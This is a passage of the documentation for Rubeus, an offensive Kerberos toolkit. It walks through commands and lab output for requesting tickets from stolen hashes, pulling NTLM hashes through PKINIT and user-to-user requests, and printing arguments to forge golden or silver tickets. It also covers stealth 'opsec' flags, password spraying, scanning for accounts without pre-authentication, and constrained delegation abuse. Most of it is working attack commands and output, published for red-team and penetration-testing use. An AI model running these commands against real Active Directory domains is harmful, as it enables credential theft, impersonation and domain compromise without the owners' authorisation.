BwMFAEDhAACLERgPMjAx0TAYmJUYmzA2MDdaphEYDzIwMTkwMjI2MDQwNjA3WqcRGA8yMDE5MDMwNDIz
MDYwN1qoDxsNVEVTVExBQi5MT0NBTKkiMCCGawIBAqEZMBcbBmtYnRndBsNdGVzdGxhYi5sb2NhbA==
```

```
[*] Action: Import Ticket
[+] Ticket successfully imported!
```

```
[*] Action: Describe Ticket
```

```
UserName          : dfm.a
UserRealm         : TESTLAB.LOCAL
ServiceName       : krbtgt/testlab.local
ServiceRealm      : TESTLAB.LOCAL
StartTime         : 2/25/2019 3:06:07 PM
EndTime          : 2/25/2019 8:06:07 PM
RenewTill        : 3/4/2019 3:06:07 PM
Flags             : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType          : rc4_hmac
Base64(key)       : +zY8adXi2NuvkAx11ohU0A==
```

Requesting a ticket via aes256\_hmac hash for [dfm.a@testlab.local](mailto:dfm.a@testlab.local), starting a new hidden process and applying the ticket to that logon session. **Note: elevation needed!**

```
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /domain:testlab.local /aes256:e27b2e7b39f59c3738813a9ba8c20cd5864946f11
```

```
-----
(____ \    | |
  ____ )_  _| |__  ____  -  -  -
|  _  /| | | |  _ \ |__ | | | |/_ )
| | \ \ | | | | )  ____| | | |__ |
|_|  | |____/|____/|____)____/____/
```

v1.3.3

```
[*] Action: Create Process (/netonly)
```

```
[*] Showing process : False
[+] Process          : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 7564
[+] LUID            : 0x3c4c241
```

```
[*] Action: Ask TGT
```

```
[*] Using aes256_cts_hmac_sha1 hash: e27b2e7b39f59c3738813a9ba8c20cd5864946f179c80f60067f5cda59c3bd27
```

```
[*] Target LUID : 63226433
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 234 bytes
[*] Received 1620 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
```

```
doIFujCCBbagAwIBBaEDAgEWooIEvzCCBL...(snip)...
```

```
[*] Action: Import Ticket
[*] Target LUID: 0x3c4c241
[+] Ticket successfully imported!
```

**Note that the /luid and /createnetonly parameters require elevation!**

Requesting a ticket using a certificate and using /getcredentials to retrieve the NT hash:

```
C:\Rubeus>Rubeus.exe asktgt /user:harmj0y /domain:rubeus.ghostpack.local /dc:pdcl.rubeus.ghostpack.local /getc
```

```
-----
(____ \    | |
-----) )_  _| |__ -----
|  _ /| | | | _ \| ___ | | | |/_
| | \ \ | | | |_) ) ____| | | |__ |
|_|  | |____/|____/|____)____/____/
```

v2.0.0

```
[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=Harm J0y, CN=Users, DC=rubeus, DC=ghostpack, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'rubeus.ghostpack.local\harmj0y'
[+] TGT request successful!
[*] base64(ticket.kirbi):
```

```
doIF9DCCBfCgAwIBBaEDAgEWooIE7DCCB0hhggTkMIIE4KADAgEFoRgfLJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
```

```
YnRnBsWcnViZXVzLmdob3N0cGFjay5sb2NhbA==
```

```
ServiceName      : krbtgt/rubeus.ghostpack.local
ServiceRealm     : RUBEUS.GHOSTPACK.LOCAL
UserName         : harmj0y
UserRealm       : RUBEUS.GHOSTPACK.LOCAL
StartTime        : 14/07/2021 02:25:33
EndTime          : 14/07/2021 12:25:33
```

```

RenewTill      : 21/07/2021 02:25:33
Flags          : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType       : rc4_hmac
Base64(key)    : 7MS2ajfZo4HedoK+K3dLcQ==
ASREP (key)   : 9B1C28A276FBBE557D0F9EE153FE24E1

```

[\*] Getting credentials using U2U

```

CredentialInfo :
  Version      : 0
  EncryptionType : rc4_hmac
  CredentialData :
  CredentialCount : 1
  NTLM         : C69A7EA908898C23B72E65329AF7E3E8

```

## asktgs

The **asktgs** action will build/parse a raw TGS-REQ/TGS-REP service ticket request using the specified TGT `/ticket:X` supplied. This value can be a base64 encoding of a .kirbi file or the path to a .kirbi file on disk. If a `/dc` is not specified, the computer's current domain controller is extracted and used as the destination for the request traffic. The `/ptt` flag will "pass-the-ticket" and apply the resulting service ticket to the current logon session. One or more `/service:X` SPNs **must** be specified, comma separated.

The supported encryption types in the constructed TGS-REQ will be RC4\_HMAC, AES128\_CTS\_HMAC\_SHA1, and AES256\_CTS\_HMAC\_SHA1. In this case, the highest mutually supported encryption will be used by the KDC to build the returned service ticket. If you want to force DES, RC4, or AES128/256 keys, use `/enctype:[RC4|AES128|AES256|DES]`.

In order to request a service ticket for an account using an enterprise principal (i.e. [user@domain.com](#)), the `/enterprise` flag can be used.

By default, several differences exist between TGS-REQ's generated by Rubeus and genuine TGS-REQ's. To form TGS-REQ's more inline with genuine requests, the `/opsec` flag can be used, this will also cause an additional TGS-REQ to be sent automatically when a service ticket is requested for an account configured for unconstrained delegation. As this flag is intended to make Rubeus traffic more stealthy, it cannot by default be used with any encryption type other than `aes256` and will just throw a warning and exit if another encryption type is used.

To play with other scenarios manually, `/tgs:X` can be used to supply an additional ticket which is appended to the request body. This also adds the constrained delegation KDC option as well as avoids dynamically determining the domain from the given SPN `/service:X`, for this reason the `/targetdomain:X` argument has been implemented to force the request to use the supplied domain which is useful for requesting delegated service tickets from a foreign domain or tickets with usual SPNs.

The `/u2u` flag was implemented to request User-to-User tickets. Together with the `/tgs:X` argument (used to supply the target accounts TGT), the `/service:X` argument can be the username of the account the supplied TGT

is for (with the `/tgs:X` argument). The `/targetuser:X` argument will request a PAC of any other account by inserting a PA-FOR-USER PA data section with the `target user's` username.

The `/printargs` flag will print the arguments required to forge a ticket with the same PAC values if the PAC is readable. This could be done by supplying the `/servicekey:X` argument or performing a `/u2u` request with a known session key.

Using a KDC proxy ([MS-KKDCP](#)) to make the request is possible using the `/proxyurl:URL` argument. The full URL for the KDC proxy is required, eg. <https://kdcproxy.exmample.com/kdcproxy>.

The `/keylist` flag was implemented for Kerberos [Key List Requests](#). These requests must utilise a forged partial TGT from a read-only domain controller in the `/ticket:BASE64|FILE.KIRBI` parameter, further details on this forged TGT in the [golden](#) section. Furthermore, the `/spn:x` field must be set to the KRBTGT SPN within the domain, eg. `KRBTGT/domain.local`.

The `asktgt` action also supports requesting service tickets via the Kerberos authentication package using LSASS. This mode of operation can be enabled by omitting the `/ticket` argument. By default, the TGT associated with the current logon session is used. An alternative logon session can be targeted by supplying the `/luid:xxx` argument. Local administrator privileges are required when targeting other logon sessions. Currently, only simple service tickets can be requested via LSASS. Arguments for features such as S4U2Self, U2U, key list and KDC proxy are ignored. Requesting service tickets via LSASS can often be more opsec friendly, since Kerberos traffic will originate from LSASS. This mode is also required for scenarios where Credential Guard / Remote Credential Guard is active, since dumping TGT's with credential guard is not possible.

Requesting a TGT for `dfm.a` and then using that ticket to request a service ticket for the "LDAP/primary.testlab.local" and "cifs/primary.testlab.local" SPNs:

```
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe
```

```
-----
(----- \      | |
-----) )_  _| |__ ----- -  -
|  _ /| | | |  _ \| ___ | | | |/_---)
| | \ \ | | | | )  ___| | | |___ |
|_|  | |___/|___/|____)____/(___/
```

```
v1.3.3
```

```
[*] Action: Ask TGT
```

```
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
```

```
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
```

```
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
```

```
[*] Connecting to 192.168.52.100:88
```

```
[*] Sent 230 bytes
```

```
[*] Received 1537 bytes
```

[+] TGT request successful!

[\*] base64(ticket.kirbi):

doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...

C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /service:LDAP/primary.testlab.local,

```
-----
(____ \    | |
____) )_  _| |__ -----
| __ /| | | | _ \| ___ | | | |/_
| | \ \ | | | | ) ___| | | |__ |
|_|  |_|____/|____/|____)____/(____/
```

v1.3.3

[\*] Action: Ask TGS

[\*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)

[\*] Building TGS-REQ request for: 'LDAP/primary.testlab.local'

[\*] Connecting to 192.168.52.100:88

[\*] Sent 1514 bytes

[\*] Received 1562 bytes

[+] TGS request successful!

[\*] base64(ticket.kirbi):

doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)...

[\*] Action: Import Ticket

[+] Ticket successfully imported!

[\*] Action: Ask TGS

[\*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)

[\*] Building TGS-REQ request for: 'cifs/primary.testlab.local'

[\*] Connecting to 192.168.52.100:88

[\*] Sent 1514 bytes

[\*] Received 1562 bytes

[+] TGS request successful!

[\*] base64(ticket.kirbi):

doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)...

[\*] Action: Import Ticket

[+] Ticket successfully imported!

```
C:\Rubeus>Rubeus.exe klist
```

```
-----
(____ \    | |
-----) )_  | |__ ----- - - ___
| __ /| | | | _ \| ___ | | | /___)
| | \ \ | | | | ) ) ____| | | |___ |
|_|  | |___/|___/|____)___/(___/
```

v1.3.3

[\*] Action: List Kerberos Tickets (Current User)

```
[0] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM
Server Name       : cifs/primary.testlab.local @ TESTLAB.LOCAL
Client Name       : dfm.a @ TESTLAB.LOCAL
Flags             : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)
```

```
[1] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM
Server Name       : LDAP/primary.testlab.local @ TESTLAB.LOCAL
Client Name       : dfm.a @ TESTLAB.LOCAL
Flags             : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)
```

Requesting a service ticket for an AES-enabled service account, specifying that we *only* support RC4\_HMAC:

```
C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip).../service:roast/me /enctype:rc4
```

```
-----
(____ \    | |
-----) )_  | |__ ----- - - ___
| __ /| | | | _ \| ___ | | | /___)
| | \ \ | | | | ) ) ____| | | |___ |
|_|  | |___/|___/|____)___/(___/
```

v1.4.1

[\*] Action: Ask TGS

```
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Requesting 'rc4_hmac' etype for the service ticket
[*] Building TGS-REQ request for: 'roast/me'
[+] TGS request successful!
[*] base64(ticket.kirbi):
```

```
doIFrjCCBaqqAwIBBaEDA...(snip)...
```

```
[*] Action: Describe Ticket
```

```
UserName      : dfm.a
UserRealm     : TESTLAB.LOCAL
ServiceName   : roast/me
ServiceRealm  : TESTLAB.LOCAL
StartTime     : 2/25/2019 3:10:59 PM
EndTime      : 2/25/2019 8:09:54 PM
RenewTill    : 3/4/2019 3:09:54 PM
Flags        : name_canonicalize, pre_authent, renewable, forwardable
KeyType       : rc4_hmac
Base64(key)   : Gg3zZicI15c50KGecCf8XA==
```

Requesting a user-to-user service ticket and including the *PA for User* PA-DATA section (an S4U2self request), it is possible to get a readable PAC for any user:

```
C:\Rubeus>Rubeus.exe asktgs /u2u /targetuser:ccob /ticket:doIFijCCBYagAwIBBaED...(snip)...3RwYWNrLmxvY2Fs /tgs
```

```
-----
(____ \    | |
____) )_  _| |__ -----
| __ /| | | | _ \| ___ | | | /____)
| | \ \ | | | |_) ) ____| | | |____ |
|_|  | |____/|____/|____)____/(____/
```

```
v2.0.0
```

```
[*] Action: Ask TGS
```

```
[*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building User-to-User TGS-REQ request for: 'exploitph'
[+] TGS request successful!
[*] base64(ticket.kirbi):
```

```
doIFKzCCBSegAwIBBaEDAgEWooIEKzCCBCdhggQjMIIEH6ADAgEFoRgBF1JVQkVVUy5HSE9TVFBBO0su
... (snip) ...
cGxvaXRwaA==
```

```
ServiceName   : exploitph
ServiceRealm  : RUBEUS.GHOSTPACK.LOCAL
UserName      : ccob
UserRealm     : RUBEUS.GHOSTPACK.LOCAL
```

```
StartTime      : 20/07/2021 22:00:07
EndTime       : 21/07/2021 07:59:39
RenewTill     : 27/07/2021 21:59:39
Flags         : name_canonicalize, pre_authent, renewable, forwardable
KeyType       : aes256_cts_hmac_sha1
Base64(key)   : u2AYdjG4gLNIXqzb3MmwtDtE1k2NR5ty9h80w704+8Q=
Decrypted PAC :
  LogonInfo    :
    LogonTime  : 01/01/1601 00:00:00
    LogoffTime :
    KickOffTime :
    PasswordLastSet : 20/07/2021 21:58:44
    PasswordCanChange : 21/07/2021 21:58:44
    PasswordMustChange : 31/08/2021 21:58:44
    EffectiveName : ccob
    FullName     : C Cob
    LogonScript  :
    ProfilePath  :
    HomeDirectory :
    HomeDirectoryDrive :
    LogonCount   : 0
    BadPasswordCount : 0
    UserId       : 1109
    PrimaryGroupId : 513
    GroupCount   : 1
    Groups       : 513
    UserFlags    : (32) EXTRA_SIDS
    UserSessionKey : 0000000000000000
    LogonServer  : PDC1
    LogonDomainName : RUBEUS
    LogonDomainId : S-1-5-21-3237111427-1607930709-3979055039
    UserAccountControl : (16) NORMAL_ACCOUNT
    ExtraSIDCount : 1
    ExtraSIDs     : S-1-18-2
    ResourceGroupCount : 0
  ClientName   :
    Client Id   : 20/07/2021 21:59:39
    Client Name : ccob
  UpnDns      :
    DNS Domain Name : RUBEUS.GHOSTPACK.LOCAL
    UPN             : ccob@rubeus.ghostpack.local
    Flags          : 0
  ServerChecksum :
    Signature Type : KERB_CHECKSUM_HMAC_MD5
    Signature      : 79A2DC5595C76FA85155B4C65B3A0EE1 (VALID)
  KDCChecksum  :
```

```
Signature Type      : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature           : DA57618BB48EA56371E374B1 (UNVALIDATED)
```

If the PAC can be decrypted (by using a user-to-user request or by passing the `/servicekey` ) is it possible to print the arguments required to forge a ticket containing the same PAC values:

```
C:\Rubeus>Rubeus.exe asktgs /service:roast/me /printargs /servicekey:9FFB199F118556F579B415270EE835005227FCBF29
```

```
-----
(____ \    | |
-----) )_  _| |__ ----- - - ---
| __ /| | | | _ \| ___ | | | |/_---)
| | \ \ | | | | |_) ) ____| | | |___ |
|_|  | |___/|___/|____)____/(____/
```

v2.0.0

[\*] Action: Ask TGS

[\*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)

[\*] Requesting default etypes (RC4\_HMAC, AES[128/256]\_CTS\_HMAC\_SHA1) for the service ticket

[\*] Building TGS-REQ request for: 'roast/me'

[+] TGS request successful!

[\*] base64(ticket.kirbi):

```
doIF6jCCBeagAwIBBaEDAgEWooIE5zCCBONhggTfMIIE26ADAgEfoRgBfLJVQkVVUy5HSE9TVFBbQ0su
... (snip) ...
AgECoQ0wCxsFcm9hc3QbAm1l
```

```
ServiceName       : roast/me
ServiceRealm      : RUBEUS.GHOSTPACK.LOCAL
UserName          : harmj0y
UserRealm         : RUBEUS.GHOSTPACK.LOCAL
StartTime         : 20/07/2021 00:02:27
EndTime          : 20/07/2021 09:57:46
RenewTill        : 26/07/2021 23:57:46
Flags             : name_canonicalize, pre_authent, renewable, forwardable
KeyType           : aes256_cts_hmac_sha1
Base64(key)       : U9Vnk0Qn0mByQqF7i+5ujkinm9pRrevcRhw1sKVEVi4=
Decrypted PAC     :
LogonInfo         :
  LogonTime       : 19/07/2021 23:00:38
  LogoffTime      :
  KickOffTime     :
  PasswordLastSet : 14/07/2021 02:07:12
  PasswordCanChange : 15/07/2021 02:07:12
```

```
PasswordMustChange :
EffectiveName      : harmj0y
FullName          : Harm J0y
LogonScript       :
ProfilePath       :
HomeDirectory     :
HomeDirectoryDrive :
LogonCount        : 8
BadPasswordCount  : 0
UserId           : 1106
PrimaryGroupId    : 513
GroupCount        : 1
Groups           : 513
UserFlags         : (32) EXTRA_SIDS
UserSessionKey    : 0000000000000000
LogonServer       : PDC1
LogonDomainName   : RUBEUS
LogonDomainId     : S-1-5-21-3237111427-1607930709-3979055039
UserAccountControl : (528) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
ExtraSIDCount     : 1
ExtraSIDs         : S-1-18-1
ResourceGroupCount : 0
CredentialInfo    :
Version          : 0
EncryptionType    : rc4_hmac
CredentialData    : *** NO KEY ***
ClientName       :
Client Id        : 19/07/2021 23:57:46
Client Name      : harmj0y
UpnDns          :
DNS Domain Name  : RUBEUS.GHOSTPACK.LOCAL
UPN              : harmj0y@rubeus.ghostpack.local
Flags           : 0
ServerChecksum   :
Signature Type   : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature        : 96FA020562EE73B38D31AEEF (VALID)
KDCChecksum      :
Signature Type   : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature        : E7FDCBAF5F580DFB567DF102 (UNVALIDATED)
```

[\*] Printing argument list for use with Rubeus' 'golden' or 'silver' commands:

```
/user:harmj0y /id:1106 /pgid:513 /logoncount:8 /badpwdcount:0 /sid:S-1-5-21-3237111427-1607930709-3979055039 /ne
```

Using PKINIT to request a TGT and then requesting a user-to-user service ticket to gain access to the NTLM hash stored within the PAC (manually performing the `/getcredentials` flag to **asktgt**):

C:\Rubeus>Rubeus.exe asktgs /u2u /asrepkey:CC9D16AB01D1BD0EF9EBD53C8AD536D9 /ticket:doIF9DCCBfCgAwIBBaED...(sn:

```
-----
(____ \    | |
_____) )_  _| |__ -----
| __ /| | | | _ \| ___ | | | |/_
| | \ \ | | | | | ) ___| | | |__ |
|_|  |_|____/|____/|____)____/(____/
```

v2.0.0

[\*] Action: Ask TGS

[\*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)

[\*] Requesting default etypes (RC4\_HMAC, AES[128/256]\_CTS\_HMAC\_SHA1) for the service ticket

[\*] Building User-to-User TGS-REQ request for: 'harmj0y'

[+] TGS request successful!

[\*] base64(ticket.kirbi):

```
doIFxTCCBcGgAwIBBaEDAgEWooIE1DCCBNbhggTMMIIEyKADAgEFoRgfLJVQkVVUy5HSE9TVFBbQ0su
... (snip) ...
RVVTLkdIT1NUUEFDSy5MT0NBTKkUMBKgAwIBAaELMAkbB2hhcm1qMHk=
```

```
ServiceName      : harmj0y
ServiceRealm     : RUBEUS.GHOSTPACK.LOCAL
UserName         : harmj0y
UserRealm        : RUBEUS.GHOSTPACK.LOCAL
StartTime        : 19/07/2021 23:01:05
EndTime          : 20/07/2021 09:00:38
RenewTill        : 26/07/2021 23:00:38
Flags            : name_canonicalize, pre_authent, renewable, forwardable
KeyType          : rc4_hmac
Base64(key)      : Qm9zdWFIINSHAAmqaviuEw==
ASREP (key)      : CC9D16AB01D1BD0EF9EBD53C8AD536D9
Decrypted PAC    :
LogonInfo        :
  LogonTime      : 19/07/2021 22:59:21
  LogoffTime     :
  KickOffTime    :
  PasswordLastSet : 14/07/2021 02:07:12
  PasswordCanChange : 15/07/2021 02:07:12
  PasswordMustChange :
  EffectiveName  : harmj0y
  FullName       : Harm J0y
  LogonScript    :
  ProfilePath    :
```

```
HomeDirectory      :
HomeDirectoryDrive :
LogonCount         : 7
BadPasswordCount   : 0
UserId            : 1106
PrimaryGroupId     : 513
GroupCount        : 1
Groups            : 513
UserFlags         : (32) EXTRA_SIDS
UserSessionKey     : 0000000000000000
LogonServer       : PDC1
LogonDomainName    : RUBEUS
LogonDomainId     : S-1-5-21-3237111427-1607930709-3979055039
UserAccountControl : (528) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
ExtraSIDCount     : 1
ExtraSIDs         : S-1-18-1
ResourceGroupCount : 0
CredentialInfo     :
Version           : 0
EncryptionType    : rc4_hmac
CredentialData     :
  CredentialCount  : 1
  NTLM             : C69A7EA908898C23B72E65329AF7E3E8
ClientName        :
Client Id         : 19/07/2021 23:00:38
Client Name       : harmj0y
UpnDns           :
  DNS Domain Name : RUBEUS.GHOSTPACK.LOCAL
  UPN              : harmj0y@rubeus.ghostpack.local
  Flags           : 0
ServerChecksum    :
  Signature Type  : KERB_CHECKSUM_HMAC_MD5
  Signature       : ADEC4A1A7DF70D0A61047E510E778454 (VALID)
KDCChecksum       :
  Signature Type  : KERB_CHECKSUM_HMAC_SHA1_96_AES256
  Signature       : 6CF688E02147BEEC168E0125 (UNVALIDATED)
```

\*\*Note The `/asrepkey` from the TGT retrieval must be passed to decrypt the CredentialData section where the NTLM hash is stored but the `/servicekey` argument is not required here as the session key from the TGT is being used because it is a user-to-user request.

Requesting a service ticket using the current logged on session:

```
Rubeus.exe asktgs /service:LDAP/dc.ghostpack.local /nowrap
```

```
-----
```

```
(_____ \      | |
_____ )_  _| |__ _____ - - ____
| __ /| | | | _ \| ___ | | | |/_ ___)
| | \ \ | | | | |_) ) _____ | | | ___ |
|_|  |_|_____/|_____/|_____)____/(_/_/
```

v2.3.3

[\*] Action: Ask TGS

[=] Requesting service ticket via LSA authentication package 2 using handle 0x9625072

[\*] base64(ticket.kirbi):

doIGvDCCBrigAwIBBaEDAg(..snip..)

```

ServiceName      : LDAP/dc.ghostpack.local
ServiceRealm     : GHOSTPACK.LOCAL
UserName         : CCoB (NT_PRINCIPAL)
UserRealm       : GHOSTPACK.LOCAL
StartTime        : 25/02/2025 09:08:11
EndTime          : 25/02/2025 18:48:39
RenewTill        : 03/03/2025 12:47:40
Flags            : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
KeyType          : aes256_cts_hmac_sha1
Base64(key)      : k2xUOHFN1Xg(...snip...)

```

Requesting local computer account TGT via renewal. Requires local administrator access. If credential guard is present, ticket use will not be possible away from the host.

Rubeus.exe asktgs /service:krbtgt/ghostpack.local /luid:0x3e7

```
(_____ \      | |
_____ )_  _| |__ _____ - - ____
| __ /| | | | _ \| ___ | | | |/_ ___)
| | \ \ | | | | |_) ) _____ | | | ___ |
|_|  |_|_____/|_____/|_____)____/(_/_/
```

v2.3.3

[\*] Action: Ask TGS

[=] Requesting service ticket via LSA authentication package 2 using handle 0x10441184

[\*] base64(ticket.kirbi):

doIGuTCCBrWg(...snip...)IFhb3MuZGV2

```

ServiceName      : krbtgt/ghostpack.local
ServiceRealm     : GHOSTPACK.LOCAL
UserName         : DC$ (NT_PRINCIPAL)
UserRealm        : GHOSTPACK.LOCAL
StartTime        : 25/02/2025 09:18:37
EndTime          : 25/02/2025 11:35:10
RenewTill        : 02/03/2025 10:35:06
Flags            : name_canonicalize, pre_authent, renewable, forwardable
KeyType          : aes256_cts_hmac_sha1
Base64(key)      : k2xU0HFN1Xg(...snip...)

```

## renew

The **renew** action will build/parse a raw TGS-REQ/TGS-REP TGT renewal exchange using the specified `/ticket:X` supplied. This value can be a base64 encoding of a .kirbi file or the path to a .kirbi file on disk. If a `/dc` is not specified, the computer's current domain controller is extracted and used as the destination for the renewal traffic. The `/ptt` flag will "pass-the-ticket" and apply the resulting Kerberos credential to the current logon session.

Note that TGTs MUST be renewed before their EndTime, within the RenewTill window.

```
C:\Rubeus>Rubeus.exe renew /ticket:ticket.kirbi /ptt
```

```

-----
(____ \    | |
____) )_  | |__ -----
| __ /| | | | _ \| ___ | | | /____)
| | \ \ | | | | ) ____| | | |___ |
|_|  | |____/|____/|____)____/(____/

```

v1.3.3

```
[*] Action: Renew TGT
```

```
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
```

```
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
```

```
[*] Connecting to 192.168.52.100:88
```

```
[*] Sent 1506 bytes
```

```
[*] Received 1510 bytes
```

```
[+] TGT renewal request successful!
```

```
[*] base64(ticket.kirbi):
```

```
doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...
```

```
[*] Action: Import Ticket
[+] Ticket successfully imported!
```

The `/autorenew` flag will take an existing `/ticket:X.kirbi` file/blob, sleep until `endTime-30` minutes, auto-renew the ticket and display the refreshed ticket blob. It will continue this renewal process until the allowable `renew-till` renewal window passes.

```
C:\Rubeus>Rubeus.exe renew /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /autorenew
```

```

-----
(____ \    | |
_____) )_  _| |__ -----
| __ /| | | | _ \| ___ | | | /____)
| | \ \ | | | | ) ___| | | |___ |
|_|  | |____/|____/|____)____/(____/

```

```
v1.3.3
```

```
[*] Action: Auto-Renew TGT
```

```
[*] User      : dfm.a@TESTLAB.LOCAL
[*] endtime   : 2/10/2019 11:44:09 PM
[*] renew-till : 2/17/2019 6:44:09 PM
[*] Sleeping for 263 minutes (endTime-30) before the next renewal
[*] Renewing TGT for dfm.a@TESTLAB.LOCAL
```

```
[*] Action: Renew TGT
```

```
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1506 bytes
[*] Received 1510 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):
```

```
doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...
```

## brute

The **brute** action will perform a Kerberos-based password bruteforcing or password spraying attack. **spray** can also be used as the action name.

```
C:\Rubeus>Rubeus.exe brute /password:Password123!! /noticket
```

```
----- -  
(____ \    | |  
_____) )_  _| |__ ----- - - ___  
| __ /| | | | _ \| ___ | | | |/_)  
| | \ \ | | | | |_) ) ____| | | |__ |  
|_|  | |_____|_____|_____)____/____/
```

v1.5.0

- [-] Blocked/Disabled user => Guest
- [-] Blocked/Disabled user => DefaultAccount
- [-] Blocked/Disabled user => krbtgt
- [-] Blocked/Disabled user => disabled
- [+] STUPENDOUS => newuser:Password123!!
- [\*] base64(newuser.kirbi):

```
doIFLDCCBSigAwIBBaEDAgEWooIELDCCBChggQkMIIEIKADAgEFoRAbDlR...(snip)...
```

## preauthscan

The **preauthscan** action will send AS-REQ's for all usernames passed into the `/users` argument to discover accounts that do not require Kerberos pre-authentication.

```
C:\Rubeus>Rubeus.exe preauthscan /users:uns.txt /domain:semperis.lab /dc:192.168.71.220
```

```
----- -  
(____ \    | |  
_____) )_  _| |__ ----- - - ___  
| __ /| | | | _ \| ___ | | | |/_)  
| | \ \ | | | | |_) ) ____| | | |__ |  
|_|  | |_____|_____|_____)____/____/
```

v2.2.0

- [\*] Action: Scan for accounts not requiring Kerberos Pre-Authentication
  
- [\*] cclark: Pre-Auth Required
- [\*] jjones: Pre-Auth Not Required
- [\*] rwilliams: Pre-Auth Required
- [\*] svc\_sqlserver: Pre-Auth Required
- [\*] pgreen: Pre-Auth Required
- [\*] jsmith: Pre-Auth Required

[\*] tnahum: Pre-Auth Required  
 [\*] sfederovsky: Pre-Auth Required

## Constrained delegation abuse

Breakdown of the constrained delegation commands:

Command	Description
<a href="#">s4u</a>	Perform S4U2self and S4U2proxy actions

### s4u

The **s4u** action is nearly identical to [Kekeo](#)'s **tgs::s4u** functionality. If a user (or computer) account is configured for constrained delegation (i.e. has a SPN value in its `msds-allowedtodelegateto` field) this action can be used to abuse access to the target SPN/server. Constrained delegation is complex. For more information see [this post](#) or Elad Shamir's "[Wagging the Dog](#)" post.

A **TL;DR** explanation is that an account with constrained delegation enabled is allowed to request tickets *to itself* as any user, in a process known as S4U2self. In order for an account to be allowed to do this, it has to have **TrustedToAuthForDelegation** enabled in its `useraccountcontrol` property, something that only elevated users can modify by default. This ticket has the **FORWARDABLE** flag set by default. The service can then use this specially requested ticket to request a service ticket to any service principal name (SPN) specified in the account's `msds-allowedtodelegateto` field. So long story short, if you have control of an account with **TrustedToAuthForDelegation** set and a value in `msds-allowedtodelegateto`, you can pretend to be any user in the domain to the SPNs set in the account's `msds-allowedtodelegateto` field.

This "control" can be the hash of the account ( `/rc4` or `/aes256` ), or an existing TGT ( `/ticket:X` ) for the account with a `msds-allowedtodelegateto` value set. If a `/user` and `rc4/aes256` hash is supplied, the **s4u** module performs an [asktgt](#) action first, using the returned ticket for the steps following. If a TGT `/ticket:X` is supplied, that TGT is used instead.

If an account hash is supplied, the `/nopac` switch can be used to request the initial TGT without a PAC.

Using a KDC proxy ([MS-KKDCP](#)) to make the requests is possible using the `/proxyurl:URL` argument. The full URL for the KDC proxy is required, eg. <https://kdcproxy.exmample.com/kdcproxy>. When used for the **s4u** command, *all* requests will be sent through the proxy.

A `/impersonateuser:X` parameter **MUST** be supplied to the **s4u** module. If nothing else is supplied, just the S4U2self process is executed, returning a forwardable ticket:

```
C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a
```

```
-----
(----- \      | |
```

```

-----) )_ _| |__ ----- - - ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \ | | | | ) ___| | | |___ |
|_| | | |___/|___/|___)___/(___/

```

v1.3.3

[\*] Action: Ask TGT

```

[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):

```

```
doIE+jCCBPagAwIBBaEDAgEWoo...(snip)...
```

[\*] Action: S4U

```

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
